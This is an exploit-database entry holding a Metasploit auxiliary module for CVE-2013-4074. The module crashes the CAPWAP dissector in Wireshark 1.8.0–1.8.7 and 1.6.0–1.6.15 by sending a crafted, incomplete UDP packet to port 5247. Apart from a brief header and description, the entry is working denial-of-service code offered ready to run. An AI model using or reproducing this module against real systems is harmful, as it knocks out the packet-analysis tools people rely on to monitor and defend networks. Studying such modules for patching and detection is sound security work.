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Wireshark CAPWAP Dissector - Denial of Service (msf)

2014-06-01T00:00:00
ID 1337DAY-ID-22309
Type zdt
Reporter j0sm1
Modified 2014-06-01T00:00:00

Description

Exploit for multiple platform in category dos / poc

                                        
                                            #
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
 
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wireshark CAPWAP Dissector DoS',
      'Description'    => %q{
        This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
        to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
        incomplete packet.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Laurent Butti', # Discovery vulnerability
          'j0sm1'  # Auxiliary msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-4074'],
          ['OSVDB', '94091'],
          ['BID', '60500']
        ],
      'DisclosureDate' => 'Apr 28 2014'))
 
    # Protocol capwap needs port 5247 to trigger the dissector in wireshark
    register_options([ Opt::RPORT(5247) ], self.class)
  end
 
  def run
 
    connect_udp
 
    # We send a packet incomplete to crash dissector
    print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
    # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
    # the dissector crash
    # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
    # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
    buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
    udp_sock.put(buf)
 
    disconnect_udp
 
  end
end

#  0day.today [2018-03-20]  #
JSON Vulners Source
Initial Source


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